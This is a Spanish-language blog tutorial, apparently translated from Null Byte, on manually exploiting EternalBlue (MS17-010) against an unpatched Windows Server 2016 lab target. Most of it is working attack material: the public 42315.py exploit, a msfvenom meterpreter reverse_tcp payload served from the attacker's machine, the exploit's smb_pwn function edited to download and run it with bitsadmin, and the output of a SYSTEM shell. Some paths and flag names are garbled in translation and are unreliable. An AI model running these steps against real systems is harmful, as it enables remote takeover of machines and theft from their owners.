Blog

Cómo: Explotar manualmente EternalBlue en Windows Server utilizando MS17-010 Python Exploit

[*]

EternalBlue fue un exploit devastador que tuvo como objetivo la implementación del protocolo SMB por parte de Microsoft. Metasploit contiene un módulo útil que explotará automáticamente un objetivo, siempre que sea vulnerable. Pero, ¿y si quisiéramos aprovechar esta vulnerabilidad sin que Metasploit nos cogiera de la mano? Se puede hacer usando un archivo Python para explotar EternalBlue manualmente.

No entraré en toda la perorata sobre qué es EternalBlue, de dónde vino el exploit o cómo funciona SMB, ya que ya lo hice en la guía anterior sobre cómo explotar EternalBlue en Windows Server con Metasploit. Entonces, para obtener más información general sobre qué son EternalBlue y SMB y cómo averiguar si un objetivo es vulnerable o no, asegúrese de verificarlo antes de continuar.

En esta guía, abordaremos la ruta manual de explotación de EternalBlue en Windows Server. Usaré una copia sin parchear de Windows Server 2016 Datacenter como destino, y las copias de evaluación se pueden descargar desde Microsoft si desea seguir adelante mientras realizamos cada paso a continuación.

Paso 1: configurar el exploit basado en Python

Lo primero que debemos hacer es localizar el archivo de explotación. En Kali, podemos usar búsqueda en la terminal para buscar una coincidencia en la base de datos.

searchsploit eternalblue
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                                                                                            |  Path
                                                                                                                                                                          | (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Microsoft Windows Windows 7/2008 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)                                                                                  | exploits/windows/remote/42031.py
Microsoft Windows Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)                                                              | exploits/windows/remote/42315.py
Microsoft Windows Windows 8/8.1/2012 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010)                                                                        | exploits/windows_x86-64/remote/42030.py
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
------------------------------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------------
 Paper Title                                                                                                                                                       |  Path
                                                                                                                                                                   | (/usr/share/exploitdb-papers/)
------------------------------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------------
How to Exploit ETERNALBLUE and DOUBLEPULSAR on Windows 7/2008                                                                                                      | docs/english/41896-how-to-exploit-eternalblue-
How to Exploit ETERNALBLUE on Windows Server 2012 R2                                                                                                               | docs/english/42280-how-to-exploit-eternalblue-
[Spanish] How to Exploit ETERNALBLUE and DOUBLEPULSAR on Windows 7/2008                                                                                            | docs/spanish/41897-[spanish]-how-to-exploit-et
[Spanish] How to Exploit ETERNALBLUE on Windows Server 2012 R2                                                                                                     | docs/spanish/42281-[spanish]-how-to-exploit-et
------------------------------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------------

El exploit que queremos está etiquetado 42315.py. Para mantener las cosas ordenadas, creemos un directorio para trabajar.

mkdir exploit

Ahora podemos copiar el archivo de explotación a nuestro directorio recién creado.

cp /usr/share/exploitdb/exploits/windows/remote/42315.py /root/exploit/

Luego, cambie al directorio y verifique que el archivo esté presente.

cd exploit/
ls
42315.py

Ahora podemos echar un vistazo al código fuente para obtener más información sobre este exploit en particular. Este es un archivo bastante largo, por lo que podemos usar el menos comando para verlo desde arriba.

less 42315.py
#!/usr/bin/python
from impacket import smb, smbconnection
from mysmb import MYSMB
from struct import pack, unpack, unpack_from
import sys
import socket
import time

'''
MS17-010 exploit for Windows 2000 and later by sleepya

EDB Note: mysmb.py can be found here ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/42315.py

Note:
- The exploit should never crash a target (chance should be nearly 0%)
- The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed

Tested on:
- Windows 2016 x64
- Windows 10 Pro Build 10240 x64
- Windows 2012 R2 x64
- Windows 8.1 x64
- Windows 2008 R2 SP1 x64
- Windows 7 SP1 x64
- Windows 2008 SP1 x64
- Windows 2003 R2 SP2 x64
- Windows XP SP2 x64
- Windows 8.1 x86
- Windows 7 SP1 x86
- Windows 2008 SP1 x86
- Windows 2003 SP2 x86
- Windows XP SP3 x86
- Windows 2000 SP4 x86
'''

USERNAME = ''
PASSWORD = ''

'''
A transaction with empty setup:
- it is allocated from paged pool (same as other transaction types) on Windows 7 and later
- it is allocated from private heap (RtlAllocateHeap()) with no on use it on Windows Vista and earlier
- no lookaside or caching method for allocating it

Note: method name is from NSA eternalromance

For Windows 7 and later, it is good to use matched pair method (one is large pool and another one is fit
for freed pool from large pool). Additionally, the exploit does the information leak to check transactions
alignment before doing OOB write. So this exploit should never crash a target against Windows 7 and later.

...

Este exploit requiere una canalización con nombre válida (llegaremos a esto pronto) y un conjunto válido de credenciales. Estas pueden ser cualquier otra credencial de un usuario que haya iniciado sesión en el objetivo en el pasado, incluidas las cuentas de invitado. El exploit nos actualizará automáticamente a una cuenta privilegiada cuando se ejecute.

Antes de continuar, es una buena idea hacer una copia de este archivo para que tengamos acceso al código fuente original. Podemos cambiarle el nombre exploit.py para que sea sencillo.

cp 42315.py exploit.py
ls
42315.py  exploit.py

Ahora podemos editar el archivo Python e ingresar un nombre de usuario y contraseña válidos para usar.

Tested on:
- Windows 2016 x64
- Windows 10 Pro Build 10240 x64
- Windows 2012 R2 x64
- Windows 8.1 x64
- Windows 2008 R2 SP1 x64
- Windows 7 SP1 x64
- Windows 2008 SP1 x64
- Windows 2003 R2 SP2 x64
- Windows XP SP2 x64
- Windows 8.1 x86
- Windows 7 SP1 x86
- Windows 2008 SP1 x86
- Windows 2003 SP2 x86
- Windows XP SP3 x86
- Windows 2000 SP4 x86
'''

USERNAME = 'user'
PASSWORD = 'password'

'''
A transaction with empty setup:
- it is allocated from paged pool (same as other transaction types) on Windows 7 and later
- it is allocated from private heap (RtlAllocateHeap()) with no on use it on Windows Vista and earlier
- no lookaside or caching method for allocating it

Guárdelo y ahora podemos intentar ejecutar el exploit.

python exploit.py
Traceback (most recent call last):
  File "exploit.py", line 3, in <module>
    from mysmb import MYSMB
ImportError: No module named mysmb

Parece que está intentando importar un módulo llamado mysmb, por lo que para que esto funcione, necesitamos descargarlo. Podemos hacerlo fácilmente usando wget.

wget https://raw.githubusercontent.com/worawit/MS17-010/master/mysmb.py
--2019-03-26 11:25:44--  https://raw.githubusercontent.com/worawit/MS17-010/master/mysmb.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.148.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.148.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16669 (16K) [text/plain]
Saving to: ‘mysmb.py’

mysmb.py                                             100%[=====================================================================================================================>]  16.28K  --.-KB/s    in 0.03s

2019-03-26 11:25:44 (528 KB/s) - ‘mysmb.py’ saved [16669/16669]

Intente ejecutar el archivo nuevamente y obtenemos una salida diferente.

python exploit.py
exploit.py <ip> [pipe_name]

Ahora parece información de uso, lo cual es una buena señal. Necesitamos conectar la dirección IP de nuestro objetivo y un nombre de canalización como parámetros.

Paso 2: busque la tubería con nombre

Las canalizaciones con nombre son una forma de que los procesos en ejecución se comuniquen entre sí con muy poca sobrecarga. Las tuberías suelen aparecer como archivos para que otros procesos se adjunten. Metasploit tiene un escáner que encontrará cualquier canalización con nombre en un host. En una nueva terminal, escriba msfconsole para encenderlo, entonces podemos buscar el escáner.

msfconsole
search pipe
Matching Modules
================

   Name                                                        Disclosure Date  Rank       Check  Description
   ----                                                        ---------------  ----       -----  -----------
   auxiliary/admin/db2/db2rcmd                                 2004-03-04       normal     No     IBM DB2 db2rcmd.exe Command Execution Vulnerability
   auxiliary/admin/smb/ms17_010_command                        2017-03-14       normal     Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   auxiliary/dos/http/nodejs_pipelining                        2013-10-18       normal     Yes    Node.js HTTP Pipelining Denial of Service
   auxiliary/dos/windows/smb/ms06_063_trans                                     normal     No     Microsoft SRV.SYS Pipe Transaction No Null
   auxiliary/dos/windows/smb/rras_vls_null_deref               2006-06-14       normal     No     Microsoft RRAS InterfaceAdjustVLSPointers NULL Dereference
   auxiliary/fuzzers/smb/smb_create_pipe                                        normal     No     SMB Create Pipe Request Fuzzer
   auxiliary/fuzzers/smb/smb_create_pipe_corrupt                                normal     No     SMB Create Pipe Request Corruption
   auxiliary/scanner/smb/pipe_auditor                                           normal     Yes    SMB Session Pipe Auditor
   auxiliary/scanner/smb/pipe_dcerpc_auditor                                    normal     Yes    SMB Session Pipe DCERPC Auditor
   exploit/linux/misc/accellion_fta_mpipe2                     2011-02-07       excellent  No     Accellion FTA MPIPE2 Command Execution
   exploit/linux/samba/is_known_pipename                       2017-03-24       excellent  Yes    Samba is_known_pipename() Arbitrary Module Load
   exploit/multi/http/mediawiki_syntaxhighlight                2017-04-06       good       Yes    MediaWiki SyntaxHighlight extension option injection vulnerability
   exploit/multi/svn/svnserve_date                             2004-05-19       average    No     Subversion Date Svnserve

...

El que queremos es el pipe_auditor. Cargue el módulo con el usar mando.

use auxiliary/scanner/smb/pipe_auditor

Debería ver el mensaje “auxiliar (scanner / smb / pipe_auditor)> options”. Ahora podemos echar un vistazo a las opciones.

options
Module options (auxiliary/scanner/smb/pipe_auditor):

   Name         Current Setting                                                 Required  Description
   ----         ---------------                                                 --------  -----------
   NAMED_PIPES  /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes       List of named pipes to check
   RHOSTS                                                                       yes       The target address range or CIDR identifier
   SMBDomain    .                                                               no        The Windows domain to use for authentication
   SMBPass                                                                      no        The password for the specified username
   SMBUser                                                                      no        The username to authenticate as
   THREADS      1                                                               yes       The number of concurrent threads

Todo lo que realmente necesitamos hacer es especificar la dirección IP de nuestro objetivo.

set rhosts 10.10.0.100
rhosts => 10.10.0.100

Y luego podemos correr el escáner.

run
[+] 10.10.0.100:445       - Pipes: netlogon, lsarpc, samr
[*] 10.10.0.100:          - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Parece que encontró algunas tuberías con nombre. Impresionante.

Paso 3: Ejecute el archivo de explotación

Ahora deberíamos poder ejecutar el archivo de explotación. De vuelta en la primera terminal del Paso 1, donde todavía estamos en el directorio de exploits, use la dirección IP del objetivo y una de las canalizaciones con nombre que encontramos como parámetros.

python exploit.py 10.10.0.100 netlogon
Target OS: Windows Server 2016 Standard Evaluation 14393
Target is 64 bit
Got frag size: 0x20
GROOM_POOL_SIZE: 0x5030
BRIDE_TRANS_SIZE: 0xf90
CONNECTION: 0xffff928c5dc1e020
SESSION: 0xffffac016815e210
FLINK: 0xffffac0167062098
InParam: 0xffffac016705c16c
MID: 0x3303
success controlling groom transaction
modify trans1 struct for arbitrary read/write
make this SMB session to be SYSTEM
overwriting session security context
creating file c:pwned.txt on the target
Done

Podemos ver algunos datos escupidos en la pantalla, y en la parte inferior, dice que creó un archivo de texto en el objetivo. Si echamos un vistazo al objetivo, podemos ver que fue un éxito.

Pero queremos hacer algo más que crear un archivo de texto en el objetivo. Después de todo, esto es solo una prueba de concepto, por lo que tendremos que hacer algunas cosas más para que este exploit sea completamente funcional.

Paso 4: sirva la carga útil

Necesitaremos una carga útil y una forma de que el exploit lo obtenga y ejecute. Para eso, podemos usar MSFvenom para generar algún código de shell, y podemos servirlo desde nuestra máquina usando Apache.

En una nueva terminal, use el siguiente comando para generar la carga útil y guárdelo en un archivo llamado sc.exe en la raíz web predeterminada para el servidor Apache.

msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp lhost=10.10.0.1 lport=4321 -e x64/xor -i 5 -f exe -o /var/www/html/sc.exe
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x64/xor
x64/xor succeeded with size 551 (iteration=0)
x64/xor succeeded with size 591 (iteration=1)
x64/xor succeeded with size 631 (iteration=2)
x64/xor succeeded with size 671 (iteration=3)
x64/xor succeeded with size 711 (iteration=4)
x64/xor chosen with final size 711
Payload size: 711 bytes
Final size of exe file: 7168 bytes
Saved as: /var/www/html/sc.exe

Este es un comando largo, así que analicémoslo:

  • El -a flag especifica la arquitectura como 64 bits.
  • El –plataforma La opción establece la plataforma como Windows.
  • El -pag bandera especifica la carga útil.
  • lhost es nuestra máquina local a la que conectarse.
  • lport es el puerto local al que conectarse.
  • El -mi bandera especifica el codificador a utilizar.
  • El -I flag establece el número de iteraciones que utiliza el codificador.
  • El -F flag establece el formato.
  • El -o bandera especifica el archivo de salida.

Ahora podemos iniciar el servidor Apache para que el exploit pueda conectarse a nuestra máquina desde el objetivo para alcanzar la carga útil. A continuación, modificaremos el código para que se ajuste a nuestras necesidades.

service apache2 start

Paso 5: modificar el código

De nuevo en exploit.py, busque la sección de código cerca de la parte inferior que se ve así:

def smb_pwn(conn, arch):
        smbConn = conn.get_smbconnection()

        print('creating file c:\pwned.txt on the target')
        tid2 = smbConn.connectTree('C$')
        fid2 = smbConn.createFile(tid2, '/pwned.txt')
        smbConn.closeFile(tid2, fid2)
        smbConn.disconnectTree(tid2)

        #smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
        #service_exec(conn, r'cmd /c copy c:pwned.txt c:pwned_exec.txt')
        # Note: there are many methods to get shell over SMB admin session
        # a simple method to get shell (but easily to be detected by AV) is
        # executing binary generated by "msfvenom -f exe-service ..."

def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
        with open(localSrc, 'rb') as fp:
                smbConn.putFile(remoteDrive + '$', remotePath, fp.read)

Aquí podemos ver el código que se encarga de conectarse al objetivo y crear el archivo de texto. También podemos ver una función de aspecto interesante llamada service_exec () que está comentado. Eso se conectará al objetivo y emitirá un comando para copiar el archivo de texto creado previamente en un nuevo archivo de texto llamado pwned_exec.txt en la unidad C. Podemos usar esta función para tomar nuestra carga útil y ejecutarla en el objetivo.

Primero, descomente la función y reemplace todo después cmd / c con el siguiente comando:

bitsadmin /transfer pwn /download http://10.10.0.1/sc.exe C:sc.exe

BITSAdmin (Servicio de transferencia inteligente en segundo plano) es una herramienta de línea de comandos de Windows que se utiliza para cargar o descargar archivos. El /transferir switch inicializa una transferencia (con el nombre pwn en este caso) y /descargar especifica que es una descarga. Luego ingresamos el nombre del archivo remoto (que está alojado en nuestra máquina) y el nombre del archivo local una vez que se transfiere.

A continuación, agregue otro service_exec () y que ejecute el archivo que acabamos de transferir. El código se verá así:

service_exec(conn, r'cmd /c /sc.exe')

Finalmente, podemos comentar la sección que crea un archivo de texto, ya que realmente ya no lo necesitamos. El código final debería verse así:

def smb_pwn(conn, arch):
        smbConn = conn.get_smbconnection()

        #print('creating file c:\pwned.txt on the target')
        #tid2 = smbConn.connectTree('C$')
        #fid2 = smbConn.createFile(tid2, '/pwned.txt')
        #smbConn.closeFile(tid2, fid2)
        #smbConn.disconnectTree(tid2)

        #smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
        service_exec(conn, r'cmd /c bitsadmin /transfer pwn /download http://10.10.0.1/sc.exe C:sc.exe')
        service_exec(conn, r'cmd /c /sc.exe')
        # Note: there are many methods to get shell over SMB admin session
        # a simple method to get shell (but easily to be detected by AV) is
        # executing binary generated by "msfvenom -f exe-service ..."

def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
        with open(localSrc, 'rb') as fp:
                smbConn.putFile(remoteDrive + '$', remotePath, fp.read)

Ahora, todo lo que nos queda por hacer ahora es ejecutar el exploit.

Paso 6: Ejecute el exploit terminado

Para completar el exploit, necesitamos algo para capturar el shell una vez que se ejecuta la carga útil. Podemos usar el controlador multipropósito en Metasploit para esto. En una nueva terminal, use los siguientes comandos.

msfconsole
use exploit/multi/handler

Debería ver el mensaje “exploit (multi / handler)”. Solo necesitamos configurar la carga útil para que coincida con lo que especificamos cuando creamos el código de shell anteriormente, que en este caso es un shell TCP inverso.

set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp

A continuación, configure el host de escucha adecuado.

set lhost 10.10.0.1
lhost => 10.10.0.1

Y el puerto de escucha.

set lport 4321
lport => 4321

Y podemos iniciar el manejador.

run
[*] Started reverse TCP handler on 10.10.0.1:4321

Escuchará las conexiones entrantes y, si todo va bien, obtendremos una sesión de Meterpreter una vez que se complete nuestro exploit.

Por fin, deberíamos tener todo en su lugar y listo para funcionar. Podemos lanzar el exploit como lo hicimos anteriormente en nuestra ejecución de prueba desde el directorio del exploit.

python exploit.py 10.10.0.100 netlogon
Target OS: Windows Server 2016 Standard Evaluation 14393
Target is 64 bit
Got frag size: 0x20
GROOM_POOL_SIZE: 0x5030
BRIDE_TRANS_SIZE: 0xf90
CONNECTION: 0xffff928c5dc48020
SESSION: 0xffffac0165773250
FLINK: 0xffffac0167056098
InParam: 0xffffac016705016c
MID: 0x2a07
success controlling groom transaction
modify trans1 struct for arbitrary read/write
make this SMB session to be SYSTEM
overwriting session security context
Opening SVCManager on 10.10.0.100.....
Creating service Jepa.....
Starting service Jepa.....
SCMR SessionError: code: 0x41d - ERROR_SERVICE_REQUEST_TIMEOUT - The service did not respond to the start or control request in a timely fashion.
Removing service Jepa.....
Opening SVCManager on 10.10.0.100.....
Creating service YTXT.....
Starting service YTXT.....
The NETBIOS connection with the remote host timed out.
Removing service YTXT.....
ServiceExec Error on: 10.10.0.100
nca_s_proto_error
Done

Esta vez deberíamos ver resultados diferentes. Ignore los errores y, si no funciona la primera vez, vuelva a intentarlo. Una vez que el exploit se completa con éxito, deberíamos ver una sesión abierta en nuestro oyente.

[*] Sending stage (206403 bytes) to 10.10.0.100
[*] Meterpreter session 1 opened (10.10.0.1:4321 -> 10.10.0.100:51057) at 2019-03-26 11:49:38 -0500

meterpreter >

Podemos verificar que hemos comprometido el objetivo con el sysinfo mando.

sysinfo
Computer        : DC01
OS              : Windows 2016 (Build 14393).
Architecture    : x64
System Language : en_US
Domain          : DLAB
Logged On Users : 4
Meterpreter     : x64/windows

Y el getuid mando.

getuid
Server username: NT AUTHORITYSYSTEM

Y ahí lo tenemos: una sesión completa de Meterpreter de la explotación manual de EternalBlue.

Terminando

En este tutorial, cubrimos cómo explotar manualmente EternalBlue en Windows Server. Comenzamos configurando algunas cosas para que la prueba de concepto funcione. A continuación, generamos un código de shell y alojamos la carga útil en nuestra máquina. Después de eso, modificamos el código, lanzamos el exploit y obtuvimos con éxito una sesión de Meterpreter en el objetivo. Aunque Metasploit contiene un módulo para hacer todo esto automáticamente, es beneficioso saber cómo hacer las cosas de la manera difícil, en caso de que algo necesite ajustes para un objetivo o escenario específico.

Imagen de portada de Pixabay / Pexels; Capturas de pantalla de drd_ / Null Byte

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Botón volver arriba
Cerrar